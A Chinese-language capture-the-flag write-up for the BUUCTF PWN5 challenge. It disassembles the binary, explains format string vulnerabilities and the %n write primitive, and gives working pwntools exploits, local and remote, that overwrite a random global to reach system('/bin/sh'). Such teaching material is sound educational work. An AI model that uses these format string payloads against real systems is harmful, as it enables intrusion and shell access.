BUUCTF-[第五空间2019 决赛]PWN5
一、题目来源
BUUCTF-pwn-[第五空间2019 决赛]PWN5
二、 信息搜集
将题目给的二进制文件丢入到Linux虚拟机中
使用命令file查看文件类型:
使用命令checksec查看文件的保护措施:
给文件赋值执行权限,然后运行看一下大致效果
三、反编译文件开始分析
将二进制文件丢入到32位的Ida中进行反编译
1、初步分析
直接看到mian函数:
.text:080491F2 ; int __cdecl main(int, char **, char **)
.text:080491F2 main proc near ; DATA XREF: start+26↑o
.text:080491F2
.text:080491F2 fd = dword ptr -84h
.text:080491F2 nptr = byte ptr -80h
.text:080491F2 buf = byte ptr -70h
.text:080491F2 var_C = dword ptr -0Ch
.text:080491F2 anonymous_0 = dword ptr -8
.text:080491F2
.text:080491F2 ; __unwind {
.text:080491F2 lea ecx, [esp+4]
.text:080491F6 and esp, 0FFFFFFF0h
.text:080491F9 push dword ptr [ecx-4]
.text:080491FC push ebp
.text:080491FD mov ebp, esp
.text:080491FF push ebx
.text:08049200 push ecx
.text:08049201 add esp, 0FFFFFF80h
.text:08049204 call sub_8049130
.text:08049209 add ebx, 2DF7h
.text:0804920F mov eax, large gs:14h
.text:08049215 mov [ebp+var_C], eax
.text:08049218 xor eax, eax
.text:0804921A mov eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049220 mov eax, [eax]
.text:08049222 push 0 ; n
.text:08049224 push 2 ; modes
.text:08049226 push 0 ; buf
.text:08049228 push eax ; stream
.text:08049229 call _setvbuf
.text:0804922E add esp, 10h
.text:08049231 sub esp, 0Ch
.text:08049234 push 0 ; timer
.text:08049236 call _time
.text:0804923B add esp, 10h
.text:0804923E sub esp, 0Ch
.text:08049241 push eax ; seed
.text:08049242 call _srand
.text:08049247 add esp, 10h
.text:0804924A sub esp, 8
.text:0804924D push 0 ; oflag
.text:0804924F lea eax, (aDevUrandom - 804C000h)[ebx] ; "/dev/urandom"
.text:08049255 push eax ; file
.text:08049256 call _open
.text:0804925B add esp, 10h
.text:0804925E mov [ebp+fd], eax
.text:08049264 sub esp, 4
.text:08049267 push 4 ; nbytes
.text:08049269 mov eax, offset unk_804C044
.text:0804926F push eax ; buf
.text:08049270 push [ebp+fd] ; fd
.text:08049276 call _read
.text:0804927B add esp, 10h
.text:0804927E sub esp, 0Ch
.text:08049281 lea eax, (aYourName - 804C000h)[ebx] ; "your name:"
.text:08049287 push eax ; format
.text:08049288 call _printf
.text:0804928D add esp, 10h
.text:08049290 sub esp, 4
.text:08049293 push 63h ; nbytes
.text:08049295 lea eax, [ebp+buf]
.text:08049298 push eax ; buf
.text:08049299 push 0 ; fd
.text:0804929B call _read
.text:080492A0 add esp, 10h
.text:080492A3 sub esp, 0Ch
.text:080492A6 lea eax, (aHello - 804C000h)[ebx] ; "Hello,"
.text:080492AC push eax ; format
.text:080492AD call _printf
.text:080492B2 add esp, 10h
.text:080492B5 sub esp, 0Ch
.text:080492B8 lea eax, [ebp+buf]
.text:080492BB push eax ; format
.text:080492BC call _printf
.text:080492C1 add esp, 10h
.text:080492C4 sub esp, 0Ch
.text:080492C7 lea eax, (aYourPasswd - 804C000h)[ebx] ; "your passwd:"
.text:080492CD push eax ; format
.text:080492CE call _printf
.text:080492D3 add esp, 10h
.text:080492D6 sub esp, 4
.text:080492D9 push 0Fh ; nbytes
.text:080492DB lea eax, [ebp+nptr]
.text:080492DE push eax ; buf
.text:080492DF push 0 ; fd
.text:080492E1 call _read
.text:080492E6 add esp, 10h
.text:080492E9 sub esp, 0Ch
.text:080492EC lea eax, [ebp+nptr]
.text:080492EF push eax ; nptr
.text:080492F0 call _atoi
.text:080492F5 add esp, 10h
.text:080492F8 mov edx, eax
.text:080492FA mov eax, offset unk_804C044
.text:08049300 mov eax, [eax]
.text:08049302 cmp edx, eax
.text:08049304 jz short loc_804931A
.text:08049306 sub esp, 0Ch
.text:08049309 lea eax, (aFail - 804C000h)[ebx] ; "fail"
.text:0804930F push eax ; s
.text:08049310 call _puts
.text:08049315 add esp, 10h
.text:08049318 jmp short loc_804933E
.text:0804931A ; ---------------------------------------------------------------------------
.text:0804931A
.text:0804931A loc_804931A: ; CODE XREF: main+112↑j
.text:0804931A sub esp, 0Ch
.text:0804931D lea eax, (aOk - 804C000h)[ebx] ; "ok!!"
.text:08049323 push eax ; s
.text:08049324 call _puts
.text:08049329 add esp, 10h
.text:0804932C sub esp, 0Ch
.text:0804932F lea eax, (aBinSh - 804C000h)[ebx] ; "/bin/sh"
.text:08049335 push eax ; command
.text:08049336 call _system
.text:0804933B add esp, 10h
.text:0804933E
.text:0804933E loc_804933E: ; CODE XREF: main+126↑j
.text:0804933E mov eax, 0
.text:08049343 mov ecx, [ebp+var_C]
.text:08049346 xor ecx, large gs:14h
.text:0804934D jz short loc_8049354
.text:0804934F call sub_80493D0
.text:08049354 ; ---------------------------------------------------------------------------
.text:08049354
.text:08049354 loc_8049354: ; CODE XREF: main+15B↑j
.text:08049354 lea esp, [ebp-8]
.text:08049357 pop ecx
.text:08049358 pop ebx
.text:08049359 pop ebp
.text:0804935A lea esp, [ecx-4]
.text:0804935D retn
.text:0804935D ; } // starts at 80491F2
.text:0804935D main endp
发现目标非常简单,就是使得条件跳转指令成立然后跳转到含有system("/bin/sh")的位置就可以getshell了
那么接下来就是分析条件判断语句成立的条件
cmp edx, eax
jz short loc_804931A
即比较edx和eax中的值,如果相等就跳转
根据:
.text:080492E6 add esp, 10h
.text:080492E9 sub esp, 0Ch
.text:080492EC lea eax, [ebp+nptr]
.text:080492EF push eax ; nptr
.text:080492F0 call _atoi
.text:080492F5 add esp, 10h
.text:080492F8 mov edx, eax
.text:080492FA mov eax, offset unk_804C044
.text:08049300 mov eax, [eax]
.text:08049302 cmp edx, eax
.text:08049304 jz short loc_804931A
这几行代码就可以分析出:
edx来自atoi函数返回值;eax来自全局变量unk_804C044
先来分析atoi的返回值是什么,看代码:
.text:080492D3 add esp, 10h
.text:080492D6 sub esp, 4
.text:080492D9 push 0Fh ; nbytes
.text:080492DB lea eax, [ebp+nptr]
.text:080492DE push eax ; buf
.text:080492DF push 0 ; fd
.text:080492E1 call _read
.text:080492E6 add esp, 10h
.text:080492E9 sub esp, 0Ch
.text:080492EC lea eax, [ebp+nptr]
.text:080492EF push eax ; nptr
.text:080492F0 call _atoi
可以发现atoi的参数来自于之前read获取的用户输入
再来分析全局变量unk_804C044中存了啥,看代码:
.text:0804925B add esp, 10h
.text:0804925E mov [ebp+fd], eax
.text:08049264 sub esp, 4
.text:08049267 push 4 ; nbytes
.text:08049269 mov eax, offset unk_804C044
.text:0804926F push eax ; buf
.text:08049270 push [ebp+fd] ; fd
.text:08049276 call _read
在前面的read函数接受用户输入存入到了全局变量unk_804C044当中
回想之前“信息搜集”部分运行过的代码,程序也让我们输入了两次数据,是不是这两次数据相等就可以了呢?
答案是否定的
2、问题出现
问题出现了,我们在“信息搜集”的部分运行过该程序,程序的确让我们输入了两次内容(name、password)
但是在main函数中,我们却发现了三个read,而输入的name和password分别对应的是第二、第三个read
然而,我们比较的是第一个read输入的数据和第三个read输入的数据
第一个read,看代码:
.text:08049247 add esp, 10h
.text:0804924A sub esp, 8
.text:0804924D push 0 ; oflag
.text:0804924F lea eax, (aDevUrandom - 804C000h)[ebx] ; "/dev/urandom"
.text:08049255 push eax ; file
.text:08049256 call _open
.text:0804925B add esp, 10h
.text:0804925E mov [ebp+fd], eax
.text:08049264 sub esp, 4
.text:08049267 push 4 ; nbytes
.text:08049269 mov eax, offset unk_804C044
.text:0804926F push eax ; buf
.text:08049270 push [ebp+fd] ; fd
.text:08049276 call _read
可以看得出来读取的是一个文件数据,文件我们控制不了也就意味着全局变量unk_804C044的值我们未知
那么要如何使得eax和edx值相等呢?
3、问题分析
目前我们可控的就是edx,其值:
edx = atoi(通过第三个read获取的用户输入数据)
atoi函数会把其参数所指向的字符串转换为一个整数(类型为int型)
例子:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int val; char str[20]; strcpy(str, "98993489"); val = atoi(str); printf("字符串值 = %s, 整型值 = %d\n", str, val); strcpy(str, "runoob.com"); val = atoi(str); printf("字符串值 = %s, 整型值 = %d\n", str, val); return(0); }结果:
字符串值 = 98993489, 整型值 = 98993489 字符串值 = runoob.com, 整型值 = 0
但是eax的值来自全局变量,经过我们之前分析知道它是未知的状态
所以,要么泄露全局变量的值,要么修改全局变量的值变成已知的状态
4、格式化字符串漏洞
其实在“信息搜集”部分运行程序的时候,就可以注意到
它提示我们“your name:”然后接受我们输入,我们输入完成后就会打印“your name:你输入的内容”
在汇编代码中找到这部分的逻辑:
.text:080492A0 add esp, 10h
.text:080492A3 sub esp, 0Ch
.text:080492A6 lea eax, (aHello - 804C000h)[ebx] ; "Hello,"
.text:080492AC push eax ; format
.text:080492AD call _printf
.text:080492B2 add esp, 10h
.text:080492B5 sub esp, 0Ch
.text:080492B8 lea eax, [ebp+buf]
.text:080492BB push eax ; format
.text:080492BC call _printf
知道格式化字符串漏洞的人已经发现端倪了,那么什么是格式化漏洞呢?
格式化字符串漏洞(Format String Vulnerability)是指:程序在调用格式化输出函数时,没有使用固定格式字符串,而是直接使用用户输入作为格式化模板,导致攻击者可以控制格式化行为,从而实现信息泄露或任意地址读写
在c/c++中常见的格式化函数
函数 | 说明 |
---|---|
printf() | 向标准输出打印格式化内容 |
fprintf() | 向指定文件流输出 |
sprintf() | 输出到字符串 |
snprintf() | 输出到字符串,带长度限制 |
正常使用vs漏洞使用
正确用法:
char name[100];
scanf("%s", name);
printf("Hello, %s\n", name); // 使用固定格式字符串
错误用法(漏洞):
char name[100];
scanf("%s", name);
printf(name); // 直接使用用户输入作为格式串
攻击者可以输入:
%x %x %x %x
程序会误以为你在栈上提供了四个参数(实则并没有),因此会从当前函数的栈帧中连续取出4个4 字节/8字节值并打印
值得注意的是:
在64位程序中,函数的前六个参数是通过寄存器传的,只有到第七个参数之后才是通过栈来传
所以,在64位的程序之中,如果要泄露栈信息等操作的化,需要定位到第7个参数及其之后,比如%7$x
格式控制符及其作用(攻击核心)
格式符 | 含义 | 危险性 |
---|---|---|
%x | 输出一个4/8字节十六进制值(从栈上读) | 信息泄露 |
%s | 把栈上的值当作地址,输出该地址处的字符串 | 任意地址读 |
%p | 输出一个指针地址 | 地址泄露 |
%n | 将当前输出的字符数写入到栈上的地址 | 任意地址写(极危险) |
高阶用法:
%7$x表示取第七个参数,打印为十六进制值
简单来说就是对第七个参数做%x的操作
%7$s表示取第七个参数,把其当成地址,输出该地址处的字符串
以此类推……
当然,我们也会常见到类似于%7$sAAAA的写法,在后面加上AAAA的目的是为了“对齐”
在64位的程序中,%7$s只是占据了4B,而地址能存放8B数据,因此添加上AAAA能够完成“对齐”操作,使得后续payload不会与之粘连导致运行失败
在了解格式化字符串漏洞之后,是不是对之前截出来的代码有了更深刻的理解?
.text:080492B2 add esp, 10h
.text:080492B5 sub esp, 0Ch
.text:080492B8 lea eax, [ebp+buf]
.text:080492BB push eax ; format
.text:080492BC call _printf
格式化函数未固定格式化字符串而是直接将用户输入作为格式化字符串
导致攻击者可以利用输入格式控制符来达成其目的
四、构造Poc
还记得我们刚刚的目标吗:要么泄露全局变量的值,要么修改全局变量的值
在格式化字符串中泄露使用%x、写值使用%n
但是在这题中,明显泄露的思路不行,因为全局变量的位置(.bss)通常在比较低的地址,但是printf所在的栈的位置通常比较高,无法向下(往低地址)溢出数据,所以本题采用的思路是“修改全局变量的值”
%n会把当前已经输出的字符数写入到对应的参数指向的地址中
举个例子:
int a;
printf("Hello%nWorld", &a);
-
程序先打印"Hello",此时输出了5个字符
-
%n就会把数字5写入变量a中
-
接着打印"World"
最终:a == 5
我们最终的目标就是写入全局变量unk_804C044当中,在ida中找到他的位置
.bss:0804C044 unk_804C044 db ? ; ; DATA XREF: main+77↑o
所以payload如下:
payload = p32(0x0804C044) + b'%n'
但是很明显,这样的payload是不完善的,因为我们这么写"%n"就意味着栈顶元素就必须是p32(0x0804C044)
请仔细观察,我们输入payload的地方是read函数,而利用格式化字符串漏洞的地方是printf函数,他们中间可能有其他的输入压入栈中,我们就不能确定我们的payload所处的栈的位置
所以要试探偏移量,可以利用%x,因为%x可以将栈顶中的数据以十六进制的方式打印出来,我们只要看到我们构造的payload输出了,就可以确定位置了
构造payload:
payload = p32(random_var_addr) + b'%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x'
完成Poc:
from pwn import *
p = process('./pwn')
payload = p32(0x0804c044) + b'%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x'
p.sendlineafter('your name:', payload)
p.interactive()
测试:
可以发现我们的payload在第十个
那么接下来就可以构造getshell的poc了
from pwn import *
p = process('./pwn')
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.interactive()
接下来确定一下密码部分
我们要让edx和eax相等,eax已经被我们赋值成了4,所以在输入密码的时候输入4即可使等式成立
根据之前的分析,成立后跳转到system("/bin/sh")即可getshell
为什么eax=4?
因为此时相当于printf(0x0804c044%10$n)
那么在%10$n之前只有p32(0x0804c044)输出,其字符数为4字节
而%10$n代表对第十个参数使用%n,刚好p32(0x0804c044)就是第十个参数
所以根据%n的作用,地址0x0804c044中的内容就会被写为4,即全局变量unk_804C044的值变成了4
根据之前的分析,eax的值来源于全局变量unk_804C044,因此eax=4
运行:
成功获得本地shell
远程Poc
from pwn import *
p = remote('node5.buuoj.cn',28580)
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.interactive()
运行:
成功拿下flag
五、优化Poc
刚刚的Poc还有手动操作的部分,我们其实还可以让Poc更自动化
from pwn import *
p = process('./pwn')
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.sendlineafter('your passwd',b'4')
p.interactive()
或者:
from pwn import *
p = process('./pwn')
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
line = p.recvuntil('your passwd:')
p.sendline(b'4')
p.interactive()
运行:
同样getshell且更自动化且界面更简洁